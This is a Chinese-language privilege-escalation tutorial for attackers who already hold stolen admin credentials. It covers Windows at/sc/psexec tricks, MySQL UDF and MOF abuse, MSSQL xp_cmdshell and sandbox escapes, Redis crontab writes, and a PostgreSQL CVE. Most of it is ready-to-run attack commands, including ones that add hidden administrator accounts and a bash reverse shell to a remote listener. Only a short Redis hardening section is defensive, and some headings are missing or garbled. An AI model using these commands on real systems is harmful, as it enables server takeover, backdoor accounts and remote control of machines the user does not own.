当你通过弱口令爆破、敏感文件读取、sql注入等漏洞获取到了管理员的账号和密码登入后台以后,需要提升自己的权限,就得在后台页面中寻找漏洞利用的点,成功上传webshell提升权限
提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。
Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等
后台权限(获得方式:爆破,SQL注入猜解,弱口令):
一般网站或者应用后台只能操作应用的界面内容数据,图片等叫做后台权限
无法操作程序的源代码或者服务器上的资源文件。(如果后台存在功能文件操作的话,可以操作文件数据也可以–文件操作管理器–)
网站权限(后台,漏洞,第三方):
查看和修改(是否限制了管理员用户)程序源代码,可以进行网站或者应用的配置文件读取(接口配置信息,数据库配置信息),为后续收集服务器操作系统相关的的信息,为后续提权做准备。
数据库权限:
只能操作数据库用户,数据库的增删改。源码或者配置文件泄露,也可能是网站权限进行的数据库配置文件读取获得。
接口权限:
提权常用命令
systeminfo | 打印系统信息 |
---|---|
whoami | 获得当前用户名 |
whoami /priv | 当前账号权限 |
ipconfig | 网络配置信息 |
ipconfig /displaydns | 显示DNS缓存 |
route print | 打印路由表 |
arp -a | 打印ARP表 |
hostname | 主机名 |
net user | 列出用户 |
net user UserName | 关于用户信息 |
net use \SMBPATH Pa$$w0rd /u:UserName | 连接SMB |
net localgroup | 列出所有组 |
net localgroup GROUP | 关于指定组的信息 |
net view \127.0.0.1 | 会话打开到当前计算机 |
net session | 开放给其他机器 |
netsh firewall show config | 显示防火墙配置 |
DRIVEROUERY | 列出安装的驱动 |
tasklist /svc | 列出服务任务 |
net start | 列出启动的服务 |
dir /s foo | 在目录中搜索包含指定字符的项 |
dir /s foo == bar | 同上 |
sc query | 列出所有服务 |
sc qc ServiceName | 找到指定服务路径 |
shutdown /r /t/ 0 | 立即重启 |
type file.txt | 打印出内容 |
icacls “C:\Example” | 列出权限 |
wmic qfe get Caption,Description,HotfixID,Installedon | 列出已安装的补丁 |
tasjkill /pid 4048 | 结束进程 |
wmic product get name,version | 查看当前安装程序 |
wmic service list brief | 查询本机服务 |
wmic process list brief | 查询本机进程 |
net share | 查看本机共享列表 |
要搜集的信息大致如下几点:
本地提权AT&SC&PS
在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限
AT 命令提权的原理:At命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限
AT命令是Windows XP中内置的命令,它也可以媲美Windows中的"计划任务",而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序
当我们拿到一个低权限的用户,通过3389端口远程连接上后,可以通过at命令来进行本地提权
at 12:31 /interactive cmd (在12:31分生成一个交互式的System权限的cmd)
虽然此时我们已经有了system的权限,但是可以看到,桌面还是之前用户的权限所启动的
为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器
在任务管理器里面我们结束掉之前由之前账号开启的桌面进程explorer.exe
然后再添加一个由system权限下开启的桌面进程explorer.exe
或者利用msf生成木马在利用at启动
适用于windows 7/8、03/08、12/16, 因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权
SC命令是XP系统中功能强大的DOS命令,SC命令能与"服务控制器"和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
提权命令
# 这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
# 然后执行
sc start syscmd # 就得到了一个system权限的cmd环境
其中systemcmd是服务名称,可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口
适用版本:Win2003 & Win2008
提权命令:
psexec.exe -accepteula -s -i -d cmd.exe
流程:服务探针-信息收集-提权利用-获取权限
1.UDF 提权知识点:(基于 MYSQL 调用命令执行函数)
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。
读取网站数据库配置文件(了解其命名规则及查找技巧)
sql data inc config conn database common include 等配置文件
读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
@@basedir/data/数据库名/表名.myd 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联) 远程本地暴力猜解,服务器本地暴力猜解
利用自定义执行函数导出 dll 文件进行命令执行 select version() select @@basedir
手工创建 plugin 目录或利用 NTFS 流创建 select 'x' into dumpfile
'目录/lib/plugin::INDEX_ALLOCATION';
在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval(‘whoami’);的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。
create function sys_eval returns string soname 'udf.dll';
两个变量
至此我们已经引入了 sys_eval 函数,下面就可以使用了。
这个函数用于执行系统命令,用法如下:
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数
select sys_eval('whoami'); #使用系统命令
2. UDF提权步骤
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,
否则会显示:Can‘t open shared library ‘udf.dll‘。
sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_
但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。
可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap中的udf文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量
有了udf文件,接下来就是利用各种办法上传到网站指定目录下
一般Lib、Plugin文件夹需要手工建立(可用NTFS ADS流模式突破进而创建文件夹)
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
create function sys_eval returns string soname 'udf.dll'; //sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
//新建账号waitalone,密码为waitalone.cn
select cmdshell('net user waitalone waitalone.cn /add');
//将waitalone加入管理员组
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
3.MOF 知识点:(基于 MYSQL 特性的安全问题)
导出自定义 mof 文件到系统目录加载
https://www.cnblogs.com/xishaonian/p/6384535.html
select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
4.启动项知识点:(基于配合操作系统自启动)
导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行!
5.反弹知识点:(基于利用反弹特性命令执行)
nc -l -p 5577
1.使用 xp_cmdshell 进行提权
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重修开启它。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
2.使用 sp_oacreate 进行提权
主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
3.使用 SQL Server 沙盒提权
参考资料:https://blog.51cto.com/11797152/2411770
exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行 xp_regwrite 会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
-- 执 行 系 统 命 令 select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
沙盒模式 SandBoxMode 参数含义(默认是 2)
普通用户模式:
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
DBA用户模式:(自动化工具演示)
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式: (sqlmap测试演示)
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
1.利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab执行命令反弹shell
在自己的服务器上设置监听端口:
nc -lvnp 7999
然后执行命令:
redis内置命令 ,使用bash反弹shell到此IP和对应端口,也可使用其他方法
配置
保存
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
2.写ssh-keygen公钥后 使用私钥登录
需要条件:
Redis服务器使用root账号启动
服务器开启SSH
3.往web路径写webshell
redis权限不高
服务器开启web服务
redis有web目录写入权限
其实不是数据库提权了,web提权
修复方案-漏洞成因
重启redis后才生效:
绑定需要访问数据库的IP ,将127.0.0.1修改为此数据库的IP地址,127防止外连
设置访问密码,在redis.conf中requirepass字段后,设置添加访问密码
修改redis服务运行账号,以较低的权限运行redis服务,禁用账号登陆权限
所以是在配置层面导致的安全问题,不是漏洞层面
是一款关系型数据库。其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM
PROGRAM”权限的用户,可以使用这个特性执行任意命令。
提权利用的是漏洞:CVE-2019-9193 CVE-2018-1058
连接-利用漏洞-执行-提权
参考:https://vulhub.org/#/environments/postgres/
修复方案:升级版本或打上补丁